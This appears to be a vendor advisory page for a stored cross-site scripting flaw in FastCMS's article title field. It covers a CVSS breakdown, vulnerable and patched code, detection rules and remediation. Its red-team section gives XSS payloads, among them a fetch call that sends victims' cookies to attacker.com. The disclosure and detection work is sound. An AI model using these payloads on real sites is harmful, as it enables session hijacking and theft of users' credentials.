CVE-2023-1111
Executive Summary
CVE-2023-1111 identifies a stored cross-site scripting (XSS) vulnerability in FastCMS versions up to 0.1.5. The flaw resides in the "New Article" tab, where the Title parameter is not properly sanitized before being stored and later rendered. An attacker can inject arbitrary JavaScript code into the title field, which will execute in the context of any user viewing the affected article. This is a classic stored XSS (CWE-79) attack vector, requiring no authentication and exploitable remotely. The vulnerability has been publicly disclosed, increasing the risk of active exploitation. No official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – No authentication needed to trigger the XSS.
- User Interaction (UI): Required – The victim must view the malicious article.
- Scope (S): Unchanged – The vulnerable component and the victim are in the same security boundary.
- Confidentiality (C): None – No direct data theft from the server.
- Integrity (I): Low – An attacker can modify content displayed to the victim.
- Availability (A): None – No impact on system availability.
Threat Level: Medium. The attack is easy to execute, but requires user interaction. However, the public availability of a proof-of-concept elevates the risk.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the article creation functionality of FastCMS. When a user creates a new article, the Title parameter is accepted without proper validation or encoding. The application stores this unsanitized input in its database. When another user (or the same user) views the article, the stored title is rendered in the browser without escaping HTML entities. This allows an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- Attacker crafts a malicious payload, e.g.,
<script>alert('XSS')</script>. - Attacker submits a new article with the malicious payload in the
Titlefield. - The application stores the payload in the database.
- A victim navigates to the article list or the article detail page.
- The victim's browser executes the injected script.
Impact:
- Session hijacking (stealing cookies).
- Defacement of the CMS interface.
- Redirection to malicious sites.
- Keylogging or phishing attacks within the trusted domain.
Vulnerable vs. Patched Code
Vulnerable Code (FastCMS <= 0.1.5): The application likely outputs the title directly without escaping. Example (pseudo-code):
// Vulnerable: Direct output without escaping
echo "<h1>" . $article['title'] . "</h1>";
Patched Code (Hypothetical): The fix would involve proper output encoding. Example:
// Patched: HTML-entity encoding
echo "<h1>" . htmlspecialchars($article['title'], ENT_QUOTES, 'UTF-8') . "</h1>";
Since no official patch exists, users must implement this fix manually or apply a WAF rule.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A running instance of FastCMS <= 0.1.5.
- Access to the article creation form (no authentication required).
Exploit Steps:
- Navigate to the "New Article" page.
- In the
Titlefield, enter the following payload:<script>alert(document.cookie)</script> - Fill in other required fields (e.g., content) and submit the article.
- Any user viewing the article will see an alert box with their cookies.
Advanced Payload (Session Hijacking):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Using a Browser Console (if direct form access is restricted):
// Assuming the form has an input with name="title"
document.querySelector('input[name="title"]').value = '<script>alert(1)</script>';
document.querySelector('form').submit();
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for unusual characters in the
titleparameter (e.g.,<script>,onerror=,javascript:). - Use a Web Application Firewall (WAF) to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to mitigate script execution.
Hardening:
- Apply input validation: reject or sanitize any HTML tags in the title field.
- Use output encoding: always escape HTML entities when rendering user input.
- Upgrade to a patched version if/when available.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/index.php?r=article/createwithtitleparameter containing<script>tags. - Outbound connections to attacker-controlled domains (e.g.,
attacker.com) from the CMS server.
- HTTP requests to
- File IOCs:
- Database entries in the
articletable withtitlefields containing JavaScript code.
- Database entries in the
- Log IOCs:
- Web server access logs showing
POSTrequests to article creation endpoints with suspicious payloads. - Error logs showing JavaScript execution errors (e.g.,
SyntaxError).
- Web server access logs showing
Detection Engineering
YARA Rule
rule CVE_2023_1111_Stored_XSS {
meta:
description = "Detects stored XSS payloads in FastCMS article titles"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-1111"
strings:
$xss_payload_1 = /<script[^>]*>.*?<\/script>/is
$xss_payload_2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss_payload_3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: FastCMS Stored XSS in Article Title
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2023-1111 stored XSS in FastCMS
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'r=article/create'
cs-uri-query|contains|all:
- 'title='
- '<script'
condition: selection
falsepositives:
- Legitimate use of HTML in title (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-1111 FastCMS Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/index.php"; http_uri; content:"r=article/create"; http_uri; pcre:"/title=.*<script/Ri"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the article creation functionality if not required.
- Input Validation: Implement strict validation on the
Titlefield to reject any HTML tags. - Output Encoding: Use
htmlspecialchars()or equivalent when rendering the title. - WAF Rules: Deploy a Web Application Firewall with rules to block XSS payloads.
- CSP Header: Add a Content Security Policy header to restrict script execution.
- Monitor: Review logs for signs of exploitation.
- Vendor Contact: Reach out to FastCMS maintainers for an official patch.
Valters IT